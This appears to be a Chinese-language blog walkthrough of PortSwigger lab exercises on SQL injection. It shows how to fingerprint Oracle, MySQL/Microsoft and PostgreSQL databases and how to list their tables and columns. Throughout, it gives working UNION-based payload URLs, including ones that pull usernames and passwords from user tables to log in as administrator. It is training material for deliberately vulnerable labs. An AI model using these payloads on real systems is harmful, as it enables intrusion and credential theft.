portswigger labs sql注入之探测数据库信息

portswigger labs sql注入之探测数据库信息

在 SQL 注入攻击中检查数据库

在利用SQL 注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库包含的表和列的内容。

查询数据库类型和版本

不同的数据库提供了不同的方式来查询它们的版本。您经常需要尝试不同的查询来找到一个有效的查询,从而确定数据库软件的类型和版本。

确定某些流行数据库类型的数据库版本的查询如下

数据库类型查询
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

例如,您可以使用UNION查询Microsoft, MySQL的数据库类型和版本:

' UNION SELECT @@version--

这可能会返回如下输出,确认数据库是 Microsoft SQL Server 以及正在使用的版本:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

SQL注入攻击,查询Oracle上的数据库类型和版本

靶场地址:

examining-the-database/lab-querying-database-version-oracle

靶场说明:

本实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

解决实验,显示数据库版本字符串。

提示:

在 Oracle 数据库上,每个SELECT语句都必须指定要选择的表FROM。如果您的UNION SELECT攻击不是从表中查询,您仍然需要包含FROM关键字,后跟有效的表名。

Oracle 上有一个名为dual的内置表,您可以将其用于此目的。例如:

UNION SELECT 'abc' FROM dual

有关更多信息,请参阅我们的SQL 注入备忘单

①流程

  • 测试是否存在注入点(''--[报错与否])
  • 测试有几列(' union select null-- 或者' order by 1-- [不报错/报错-1])
  • 测试每一列的文本到底是什么?数字?整数?字母文本?(null依次替换为字母(不报错))
(1)注入点测试:
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets'

'页面报错

portswigger labs sql注入之探测数据库信息
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets'--

'--页面不报错

说明此页面可能存在sql注入漏洞.

portswigger labs sql注入之探测数据库信息
(2)测试有几列
方法一:使用 'union select null--查询

因为在 Oracle 数据库上,每个SELECT语句都必须指定要选择的表,FROM xxx,而Oracle 上有一个名为dual的内置表,所以payload如下:

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select null from dual--
portswigger labs sql注入之探测数据库信息

' union select null from dual-- 页面报错

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select null,null from dual--
portswigger labs sql注入之探测数据库信息

' union select null,null from dual-- 页面正常,说明有两列(有两个null).

方法二:使用 ' order by 1-- 查询
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' order by 1--
portswigger labs sql注入之探测数据库信息

' order by 1-- 页面显示正常

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' order by 2--
portswigger labs sql注入之探测数据库信息

' order by 2-- 页面显示正常

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' order by 3--
portswigger labs sql注入之探测数据库信息

' order by 3-- 页面报错,说明存在2列(3-1=2)

(3)测试哪一列有有用的数据
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select 'a',null from dual--
portswigger labs sql注入之探测数据库信息

a正常显示,页面未报错,说明第一列有数据.

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select null,'b' from dual--
portswigger labs sql注入之探测数据库信息

b正常显示,页面未报错,说明第二列有数据.

也可以直接凭借经验进行快速判断,文章中黑色粗体是标题为第一列,有字母组成;文章的第二部分是内容,内容中也有字母组成,所以可以在判断完有几列后,直接一上来就两列都改成字母测试:

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select 'a','b' from dual--
portswigger labs sql注入之探测数据库信息

a,b均显示,且页面未报错,说明两列都有数据.

②检测数据库类型

参考SQL注入备忘单 SQL injection cheat sheet

数据库版本判断:

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。

OracleSELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version
[1]测试其是否为Microsoft/MySQL数据库

payload:

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select @@version,null--
portswigger labs sql注入之探测数据库信息
页面报错,证明不是Microsoft/MySQL数据库
[2]测试其是否为PostgreSQL数据库
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select version(),null--
portswigger labs sql注入之探测数据库信息
页面报错,证明不是PostgreSQL数据库
[3]测试其是否为Oracle数据库
https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select banner,null FROM v$version--
portswigger labs sql注入之探测数据库信息
页面为报错,且显示数据库详细信息,证明数据库是oracle数据库.

Oracle的第二种方法测试

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets' union select version,null FROM v$instance--
portswigger labs sql注入之探测数据库信息
显示出数据库版本,证明其为Oracle数据库.

SQL注入攻击,在MySQL和microsoft上查询数据库类型和版本

注意事项:对于mysql数据库而言-- (后面有一个空格),直接在浏览器上面添加空格的话会被删掉,可以手动改成20% ,或者建议使用burpsuite操作.

靶场地址

examining-the-database/lab-querying-database-version-mysql-microsoft

靶场说明

参考SQL注入备忘单 SQL injection cheat sheet

您可以使用注释来截断查询并删除原始查询中您输入之后的部分。

Oracle--comment
Microsoft--comment
/*comment*/
PostgreSQL--comment
/*comment*/
MySQL#comment
-- comment [注意双破折号后面的空格]
/*comment*/

根据上面oracle的方法进行,简化如下:

portswigger labs sql注入之探测数据库信息
portswigger labs sql注入之探测数据库信息
我们直接使用mysql的注释符进行测试: --
portswigger labs sql注入之探测数据库信息
portswigger labs sql注入之探测数据库信息
portswigger labs sql注入之探测数据库信息

最终检测mysql数据库版本payload如下所示:

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets'+union+select+@@version,null--+
portswigger labs sql注入之探测数据库信息

当然,对于mysql数据库,注释符--+也可以换成#

https://acbb1f5e1f0ca26fc1332a38009b00ef.web-security-academy.net/filter?category=Pets'+union+select+@@version,null#

列出数据库的内容

大多数数据库类型(Oracle 除外)都有一组称为信息模式的视图,它们提供有关数据库的信息。

您可以查询information_schema.tables以列出数据库中的表:

SELECT * FROM information_schema.tables

这将返回如下输出:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

此输出表明存在三个表,分别称为ProductsUsersFeedback

然后,您可以查询information_schema.columns以列出各个表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

这将返回如下输出:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar

此输出显示指定表中的列以及每列的数据类型。

SQL注入攻击,列出非Oracle数据库上的数据库内容

靶场地址

examining-the-database/lab-listing-database-contents-non-oracle

靶场说明

本实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果会在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,并且数据库包含一个保存用户名和密码的表。您需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。

要解决实验室问题,请以administrator用户身份登录。

①步骤
  • 测试是否存在注入点(''--[报错与否])
  • 测试有几列(' union select null-- 或者' order by 1-- [不报错/报错-1])
  • 测试每一列的文本到底是什么?数字?整数?字母文本?(null依次替换为字母(不报错))
  • 测试数据库到底是哪种类型的(Oracle,Microsoft,PostgreSQL,MySQL)
  • 根据数据库类型进一步实施攻击
portswigger labs sql注入之探测数据库信息
'判断是否存在注入
portswigger labs sql注入之探测数据库信息
'--判断是否存在注入(结果:存在sql注入)
portswigger labs sql注入之探测数据库信息
' union select null--检测有几列
portswigger labs sql注入之探测数据库信息
' union select null,null--检测有几列(结果:2列)
portswigger labs sql注入之探测数据库信息
' union select 'www','ddosi.org'--检测哪一列有数据(结果:两列都有数据)
portswigger labs sql注入之探测数据库信息
' union select version(),null-- 判断数据库类型(结果:PostgreSQL数据库)
②读取PostgreSQL数据库中的表名:
https://ac451f321e97e18fc0e60e1000be00de.web-security-academy.net/filter?category=Gifts' union select table_name,null from information_schema.tables--
portswigger labs sql注入之探测数据库信息
portswigger labs sql注入之探测数据库信息
③获取users_towhie的列名:

因为上了个厕所,超时,所以重新开一个靶场users变了,原理一样的!

https://ac3d1fb11ff1eb17c0660dd900df0011.web-security-academy.net/filter?category=Pets' union select column_name,null from information_schema.columns where table_name= 'users_towhie'--
portswigger labs sql注入之探测数据库信息
portswigger labs sql注入之探测数据库信息
④获取username_uadsgl,password_tmdjpt的值:
https://ac3d1fb11ff1eb17c0660dd900df0011.web-security-academy.net/filter?category=Pets' union select username_uadsgl,password_tmdjpt from users_towhie--
portswigger labs sql注入之探测数据库信息

成功获取账号密码,点击右上角登录即可完成该题.

SQL注入攻击,列出Oracle数据库上的数据库内容

靶场地址:

examining-the-database/lab-listing-database-contents-oracle

靶场说明

本实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果会在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,并且数据库包含一个保存用户名和密码的表。您需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。

要解决实验室问题,请以administrator用户身份登录。

①步骤
  • 测试是否存在注入点(''--[报错与否])
  • 测试有几列(' union select null-- 或者' order by 1-- [不报错/报错-1])
  • 测试每一列的文本到底是什么?数字?整数?字母文本?(null依次替换为字母(不报错))
  • 测试数据库到底是哪种类型的(Oracle,Microsoft,PostgreSQL,MySQL)
  • 根据数据库类型进一步实施攻击

此处不再重复,执行参考之前的操作.

②测试出来数据库为Oracle

列数为2,均为文本.

portswigger labs sql注入之探测数据库信息

Oracle版本为:

portswigger labs sql注入之探测数据库信息
③获取表名
https://ac161f4e1f8cb418c0e41e30000000d5.web-security-academy.net/filter?category=Tech+gifts'+union+select+table_name,null+from+all_tables--
portswigger labs sql注入之探测数据库信息
④获取列名
https://ac161f4e1f8cb418c0e41e30000000d5.web-security-academy.net/filter?category=Tech+gifts'+union+select+column_name,null+from+all_tab_columns+where+table_name+=+'USERS_RGGRSJ'--
portswigger labs sql注入之探测数据库信息
portswigger labs sql注入之探测数据库信息
⑤获取数据值
https://ac161f4e1f8cb418c0e41e30000000d5.web-security-academy.net/filter?category=Tech+gifts'+union+select+USERNAME_WLTEUO,PASSWORD_FSTIFH+from+USERS_RGGRSJ-- 
portswigger labs sql注入之探测数据库信息
⑥使用administrator账号密码登录即可完成实验.

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注